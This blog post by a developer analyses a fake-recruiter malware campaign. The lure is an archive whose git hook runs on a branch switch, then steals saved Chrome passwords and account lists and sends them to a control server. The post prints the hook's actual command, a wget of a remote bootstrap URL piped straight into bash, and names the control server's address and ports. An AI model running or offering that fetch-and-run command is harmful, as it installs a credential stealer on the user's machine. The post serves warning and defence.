kouider

HTML5 · CSS3 · JavaScript · React · Angular · PHP · Laravel · Node.js · Docker · Python · WordPress    
← All posts

You Opened the Recruiter’s Code Test. It Was Malware.

A computer monitor photographed close up, filled with lines of code on a dark background.

A friendly recruiter, a real-looking company, and one file to look at before the interview. This is what arrived, what it did to the machine it was opened on, and what I did about it.

A computer monitor photographed close up, filled with lines of code on a dark background.
A screen full of code. The file that arrived in the email contained no code at all. Photo: Markus Spiske / Unsplash, CC0 1.0, via Wikimedia Commons.

The email that started it

This week I got a message from a recruiter at a software company. She had a project for me: a proof of concept, a small team, work from anywhere. All I had to do first was look at the code and say what I thought of it.

The link did not go to a code host. It went to a file-sharing page with one archive in it. An archive is the single file that holds other files inside it, the way a folder does on your desk.

I did not open it on my own computer. I opened it in a sealed copy of one, a machine with nothing of mine on it that is destroyed afterwards. What was inside is worth describing, because this email does not only arrive at people who write software.

What the file really contained

At first glance it looked right. There was a project folder, a README, a PDF, a screenshot of the app, and a folder named .git, which is where the history of a software project is kept.

Inside that folder sat one small file, a few hundred bytes of text, shorter than this paragraph. A hook: a little script that the version-control tool runs by itself, with no question asked, the moment you switch to another branch of the project.

So the file was built to wait. Nothing in that archive runs while it sits on your desktop doing nothing. The trap goes off when you follow the instructions, which are the ordinary instructions a developer follows every day.

What it did once it was awake

The small script pulled a program down from a website. That program then fetched something much larger: four and a half megabytes of deliberately scrambled code, written so no one can read it and a scanner struggles to recognise it.

Then a connection went out to a server in London. The machine introduced itself, and the server answered with a customer number, the way a support ticket gets one.

Every thirty seconds it copied the file where Chrome stores saved passwords, uploaded a fresh copy to that server, and read the list of user accounts on the machine. Nothing was encrypted and nothing asked me for permission.

How the chain works, step by step

Written as instructions, the chain is seven ordinary steps, and none of them is exotic on its own:

  1. An email with a link to a file instead of a link to a project. Nothing else about it is unusual.
  2. An archive that looks like a normal project, including the hidden folder where a project keeps its own history.
  3. Inside it, one small file that the project tool runs by itself when you switch branches. The file is tiny, and the whole trick lives in it.
  4. That file runs a single command, which fetches a script from a web address the sender controls and runs it on the spot. This is the moment the trap fires. Everything before it is bait.
  5. The script downloads a portable copy of Node.js, the standard program for running JavaScript, into a temporary folder. Node.js is legitimate software, which is exactly why this step looks harmless.
  6. It writes a small runner file beside it and starts it as a hidden background process that keeps working after the terminal window is closed.
  7. That process opens a live channel to a control server, which sends back four and a half megabytes of deliberately scrambled code. The code reads saved browser passwords, the machine’s account list and configuration files, and uploads copies to the server every thirty seconds.

The entire trick fits in one line. This is the command hiding inside that small file in the archive:

bash
wget -qO- 'https://apiflow.shop/api/terminal/bootstrap?os=linux&flag=7' | bash

Read that as English and it is: fetch a script from this address, and run it immediately. There is no prompt, no preview and nothing to accept. The pipe at the end, the instruction to hand whatever comes back straight to the command shell, is the part that should stop anyone who ever sees it.

From there it is a chain of legitimate tools, which is why the whole thing is hard to recognise. The control server sat at 104.194.141.135, taking commands on port 8087 and file uploads on 8086 and 8085, with every single request stamped with a fresh 64-character token so the traffic looks like a normal API conversation.

The final package is not encrypted, it is mangled. Names become nonsense, the flow is turned inside out, and the point is to make a quick read impossible and a scanner’s job harder. One dependency inside it is worth naming: a copy of SQLite, the same small database format Chrome uses for saved passwords, compiled so the program can open that file on any machine without installing anything.

Then the detail that says the most. The server gave the copied machine a customer number, the way a support desk opens a ticket. My computer was number 507. Nothing about that is opportunistic. Somebody built this as a service, with accounts and a queue.

What I did about it

The file never came near a computer of mine. It was opened inside a sealed container: an isolated throwaway system with none of my files, none of my accounts and no route into my network, deleted afterwards along with everything it downloaded.

It was allowed to reach the internet, because a program that cannot talk to its server tells you nothing. Every packet was recorded: which address, which port, how many bytes, at which second. That recording is where every technical claim in this article comes from.

Then I planted bait: fake passwords, fake keys, a fake browser profile with a fake saved login, each one carrying a marker that exists nowhere else. That marker reappeared in the outgoing traffic sixteen times, which turns “it probably stole something” into “this exact data left the machine”.

When the run was over, the process was killed, the container and its private network were deleted, and the machine that hosted it was checked for leftovers. Nothing was left behind.

The rest was paperwork, and it is the part that actually costs them something. Reports went out to the mail provider that delivered the message, to the host of the download address, to the data centre that ran the control server, to the file-sharing service that stored the archive, and to the registrar that owns the sending domain. That is why the address in the email no longer answers.

One thing I did not do: I did not attack anything back. Breaking into, or disrupting, a system you do not own is a criminal offence in Germany, sections 202a, 202c and 303b of the criminal code, whether or not you were the victim first, and it would have achieved nothing except handing them a complaint to file.

If you need something to search for: the archive is 6.6 MB, and its fingerprint, a number calculated from its contents, is a9810b471ec6037c8254a2d972ef84084d360604.

Why you are a target, even if you never write code

I got that email because I am a developer. The same trick reaches everyone else by changing one word. Instead of a code test, you are sent homework, a payslip, an invoice, an application form, or a PDF that says it needs a special viewer.

Job hunting is the part that stings. Someone looking for work is motivated, expects to be tested, and does not want to seem difficult by asking questions. That is exactly the state of mind the email is built for.

What you can actually do

  • Do not open a file you were not expecting, even from a company you are talking to. Ask for the same document as a link you can read in the browser.
  • Read the address the mail came from, not the name printed above it. A display name is free to type. The address behind it has to be registered, and a domain registered last month is a warning sign on its own.
  • If you are sent an archive, do not unpack it to see what is inside. You do not have to know what is in the box to be safe from it.
  • Turn on two-factor authentication wherever it is offered, especially for your email. It is the difference between a stolen password and a stolen account.
  • If you save passwords in your browser, remember that any program that reaches your computer can read that list. A password manager that unlocks with its own master password is a safer home for the important ones.
  • If you have already opened something like this: unplug the internet, change your important passwords from a different device, and have the machine looked at before you use it again.

Common misunderstandings

Myth: nothing can happen unless I run the file

You do have to do something. The problem is that the something is exactly what the sender asked you to do, and it feels like the polite, professional thing at the time.

Myth: my antivirus would have caught it

I had the archive checked by thirteen different scanning engines. Three flagged it, ten did not. Detection is not a wall. It is a race, and the file is often ahead of it.

Myth: I have nothing worth stealing

Your saved passwords, your open sessions, your mailbox and your address book are the product. Nobody needs your bank details today if they can read your email and wait.

What to watch for next

The next version will not look like a software project. Expect a CV to check, an invoice to approve, a delivery notice, or a link forwarded in a group chat.

The shape changes. The question stays the same: can you open this? A file you were not waiting for is not a favour owed to the sender, and no honest employer loses interest because you asked for a link instead.

The one thing to remember

You are not chosen because you matter to them. You are chosen because you are reachable, and because curiosity is free to exploit.

Nothing good has ever been lost by waiting ten minutes and asking one question.